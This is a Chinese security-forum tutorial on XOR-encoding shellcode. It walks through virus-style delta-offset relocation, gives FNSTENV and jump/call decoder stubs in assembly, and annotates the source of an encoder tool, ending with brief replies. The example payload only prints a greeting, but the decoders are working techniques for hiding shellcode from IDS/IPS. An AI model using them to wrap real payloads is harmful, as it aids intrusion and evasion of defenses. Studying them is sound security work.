首页
社区
课程
招聘
[原创]shellcode xor编码/解码
2012-5-24 17:54 12142

[原创]shellcode xor编码/解码

2012-5-24 17:54
12142
shellcode的初级变形的一点点学习,大部分搜集、翻译,少量原创,姑且算原创吧,

01 病毒上重定位问题
02 shellcode解码
03 一个unix例子
04 源码解读
05 参考

shellcode xor编码/解码器是一种较为初级的shellcode变形的方法,当然它从中采用的方法跟病毒上的方法有些类似

01 病毒上重定位问题
病毒上的解决重定位的方法,可以方便的用到shellcode的设计中。
下面部分摘自hume的<<病毒编程技术>>
在病毒技术上至少有两种方法可以解决重定位的问题:
A)第一种方法就是利用上述PE文件重定位表项的特殊作用构造相应的重定位表项。
在感染目标PE文件时,将引用自身数据的需要被重定位的地址全部写入目标PE文件的重定位表中,如果目标PE无任何重定位表项(如用MS linker的/fixed)则创建重定位表节并插入新的重定位项;
若已经存在重定位表项,则在修改已存在的重定位表节,在其中插入包含了这些地址的新表项。重定位的工作就完全由系统加载器在加载PE文件的时候自动进行了。重定位表项由PE文件头的DataDirectory数据中的第6个成员IMAGE_DIRECTORY_ENTRY_BASERELOC指向。
该方法需要的代码稍多,实现起来也相对比较复杂,另外如果目标文件无重定位表项(为了减小代码体积,这种情况也不少见),处理起来就比较麻烦,只有用高级语言编写病毒才常用该种方法,在一般的PE病毒中很少使用。
B)利用Intel X86体系结构的特殊指令,call或fnstenv等指令动态获取当前指令的运行时地址,利用自定位计算该地址与编译时预定义地址的差值(被称为delta offset),再将该差值加到原编译时预定的地址上,得到的就是运行时数据的正确地址。对于intel x86指令集而言,在书写代码时,通过将delta offset放在某个寄存器中,然后通过变址寻址引用数据就可以解决引用数据重定位的难题。还以上例说明,假如上述指令块被操作系统映射在0x500000处那么代码及其在内存中的地址将变为:
501000: 
mov eax,dword ptr [402035] 
......
502035:
db "hello world!",0

   显然,mov指令引用的操作数地址是不正确的,如果我们知道了mov指令运行时地址是0x501000,那么计算该地址和编译时该指令预设地址的差值:0x501000-0x401000 = 0x100000。很显然指令引用的实际数据地址应该为0x402035+0x100000 = 0x502035。从上例可以看出,只要能够在运行时确定某条指令动态运行时的地址,而其编译时地址已知,我们就能够通过将delta offset加到相应的地址上正确重定位任何代码或数据的运行时地址。
      通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:
;ebp包含了delta offset值
401000: 
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0

      在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:
call delta
delta:
pop ebp
sub ebp,offset delta

     在运行时就动态计算出了delta offset值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp执行完毕后ebp中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset的值。除了用明显的call指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv为例,该指令将最后执行的一条FPU指令相关的协处理器的信息保存在指定的内存中。
该结构偏移12字节处就是最后执行的浮点指令的运行时地址,因此我们也可以用如下一段指令获取
delta offset:

fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr

GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret

  delta offset也不一定非要放在ebp中,只不过是ebp作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset保存在ebp中,其实用其他寄存器也完全可以。

02 shellcode解码
病毒中采用的技术,在shellcode解码中加以利用
1.FNSTENV XOR decoder
[BITS 32]

global _start

_start:

fabs ;fabs指令
fnstenv [esp] ;保存环境,该结构偏移12字节处就是最后执行的浮点指令的运行时地址
pop edx
pop edx
pop edx
pop edx ;此处将fabs指令的运行时地址传给edx
sub dl, -25 ; offset from fabs -> xor buffer    edx = edx + 25,25的大小指的是从shllcode到fabs的偏移

short_xor_beg:
xor ecx,ecx ;清零ecx
sub cx, -0x15F ;size of xor'd payload 设置ecx大小为0x15F

short_xor_xor:
xor byte [edx], 0x99 ; the byte to xor with ;开始循环解码
inc edx
loop short_xor_xor

shellcode:
db ...........................


2.Jump/call decoder

global _start

_start:
jmp short getdata     ; Get data pointer 跳转到getdata
begin:

pop ebx ; Pop the data address ;弹出codestart的地址,call begin时会压入eip地址
xor ecx,ecx     ; Set up loop counter ;清零ecx
sub cx, -0x15F ; size of data payload ;设置ecx为0x15F

decode:
xor byte [ebx], 0x99     ; XOR ;开始循环解码
inc ebx     ; Increment data address
loop decode     ; Loop back to decode if cx > 0
jmp short codestart     ; Jump into decoded code


getdata:
call begin     ; Push the address of data in stack and jump
; to label begin

codestart: ; This is where the XOR'ed shellcode begins
db ..........................


03 一个unix例子
这是http://www.klake.org/~jt/encoder/上的一个示例,是一个个人觉得很典型的xor编码/解码器,后面分析它的源码实现部分,利用了就是前面所说的原理

;
; hello.asm -- simple non-optimized Linux/x86 shellcode
; Compile: nasm -f bin -o hello.s hello.asm
;

[BITS 32]

global _start

_start:
jmp short data ; Jump to our data section
begin:
mov eax, 4 ; syscall #4 = write()
mov ebx, 1 ; stdout
pop ecx ; Pop the data address in ecx
mov edx, 15 ; 15 bytes of data
int 0x80
mov eax, 1 ; syscall #1 = exit()
mov ebx, 0 ; status = 0
int 0x80

data:
call begin ; Call will return our data address
db "Hello, hacker!", 0x0a


NASM生成下列shellcode:

$ hexdump hello.s 
0000000 1eeb 04b8 0000 bb00 0001 0000 ba59 000f
0000010 0000 80cd 01b8 0000 bb00 0000 0000 80cd
0000020 dde8 ffff 48ff 6c65 6f6c 202c 6168 6b63
0000030 7265 0a21 
0000034


当然,我们应该通过避免使用32位寄存器消除这些代码中的所有NULL。例如,"xor eax,eax;mov al,4"代替"mov eax,4"。但在这个例子中,需要NULLs来测试编码。
$ ./loader hello.s 
Loading shellcode from "hello.s"...
Hello, hacker!

移除NULL后:

$ ./encoder hello.s 0x00 > h.s

Encoder v0.5 - Encode NULLs and other characters out of shellcode
Copyright (c) Jarkko Turkulainen 2004. All rights reserved.
Read the file encoder.c for documentation.

Using FNSTENV XOR decoder
Using register eax for decoder
Removing bytes 0x00
Reading shellcode from "hello.s"
Using 0x02 for XOR
Ready


Encoder选择字节0x02替换XOR,现在检查下:
$ hexdump h.s 
0000000 e1d9 34d9 5824 5858 8058 e7e8 c931 8166
0000010 cce9 80ff 0230 e240 e9fa ba1c 0206 0202
0000020 03b9 0202 5b02 0db8 0202 cf02 ba82 0203
0000030 0202 02b9 0202 cf02 ea82 fddf fdfd 674a
0000040 6e6e 2e6d 6a22 6163 6769 2370 0008 
000004d


依然能够成功
$ ./loader h.s 
Loading shellcode from "h.s"...
Hello, hacker!


04 源码解读

下面解读部分encoder.c的源代码(encoder.c取自http://www.klake.org/~jt/encoder/)

以decoder_jump_header为例来说明解码部分
unsigned char decoder_jump_header[] = {
0xEB, 0x10, 0x5B, 0x31, 0xC9, 0x66, 0x81, 0xE9, 
0xA1, 0xFE, 0x80, 0x33, 0x99, 0x43, 0xE2, 0xFA, 
0xEB, 0x05, 0xE8, 0xEB, 0xFF, 0xFF, 0xFF
};


echo -ne "\xEB\x10\x5B\x31\xC9\x66\x81\xE9\xA1\xFE\x80\x33\x99\x43\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF" | ndisasm -u -

00000000 EB10 jmp short 0x12
00000002 5B pop ebx
00000003 31C9 xor ecx,ecx
00000005 6681E9A1FE sub cx,0xfea1
0000000A 803399 xor byte [ebx],0x99
0000000D 43 inc ebx
0000000E E2FA loop 0xa
00000010 EB05 jmp short 0x17
00000012 E8EBFFFFFF call dword 0x2


这段就是decoder,也就是前文所说明的部分,然后会在这个解码器的后面放上真正的已经做过处理的shellcode

这个encoder.c通过xor来处理需要剔除的字节,原理很简单
下面的代码是寻找一个字节,使它与要剔除的字节异或后,产生的新的字节,不会出现在原本的shellcode中
这样做是为了防止原本的shellcode的字节异或后又生成要剔除的字节

/* Scan the shellcode for suitable encode byte */
for (i = 1; i < 255; i++) {

/* Mark the candidate as found */
found = 1;

/* Try out every byte in encode_bytes array */
for (j = 0; j < size; j++) {

/* XOR candidate with encode_bytes */
try = i^encode_bytes[j];

/* Now try every byte in shellcode */
for (k = 0; k < len; k++) {

c = 0xff&filebuf[k];

/* If match, mark the candidate "not found" */
if (c == try) {
found = 0;
break;
}
}
}
/* Break out if byte found */
if (found == 1) break;
}


创建新的shellcode,只取jump传统解码方式的来解读一下

/* Create the new shellcode */

/* jump/call decoder */

if (decoder == DECODER_JUMP) {
/* Copy 1st header */
memcpy(&shellbuf[0], decoder_jump_header, 
sizeof(decoder_jump_header)); //拷贝解码字节

/* Copy the actual shellcode */
for (i = 0; i < len; i++)
filebuf[i] = filebuf[i]^encode_byte;
memcpy(&shellbuf[sizeof(decoder_jump_header)], 
filebuf, len); //拷贝经过xor处理后的实际shellcode

/* High len byte: */ //处理字节数
shellbuf[9] = ((0x10000-len)>>8)&0xff;

/* Low len byte: */
shellbuf[8] = (0x10000-len)&0xff;
/* Adjust, if needed.. */
if (shellbuf[8] == 0)
shellbuf[8]++;

/* XOR byte */
shellbuf[12] = encode_byte; //将0x99修改为xor使用的字节

/* Decoder register */ //使用不同寄存器的情况下,修改相应的字节,例如ebx的话第三个字节0x5b,第11个字节为0x33,第13个字节为0x43,这些在反汇编下很容易看出来
switch (reg) {
case REG_EAX:
shellbuf[2] = 0x58;
shellbuf[11] = 0x30;
shellbuf[13] = 0x40;
break;
case REG_EDX:
shellbuf[2] = 0x5a;
shellbuf[11] = 0x32;
shellbuf[13] = 0x42;
break;
case REG_EBX:
shellbuf[2] = 0x5b;
shellbuf[11] = 0x33;
shellbuf[13] = 0x43;
break;
}
}


到此为此基本了解了这个xor编码解码的原理。这是一种防止限制shellcode个别字符使用的,以及防止IDS/IPS检测等等的方法。

05 参考
http://www.klake.org/~jt/encoder/
http://blog.csdn.net/ych_max/article/details/815832

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞3
打赏
分享
最新回复 (3)
雪    币: 154
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
leeonegor 2012-5-24 18:34
2
0
友情帮顶。。。。。。。。。。。。。。。。。。
雪    币: 49
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ndayo 2012-5-26 22:13
3
0
前排占楼  。。
雪    币: 139
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
seuer 2012-5-29 10:39
4
0
有一部分是win32汇编吧
游客
登录 | 注册 方可回帖
返回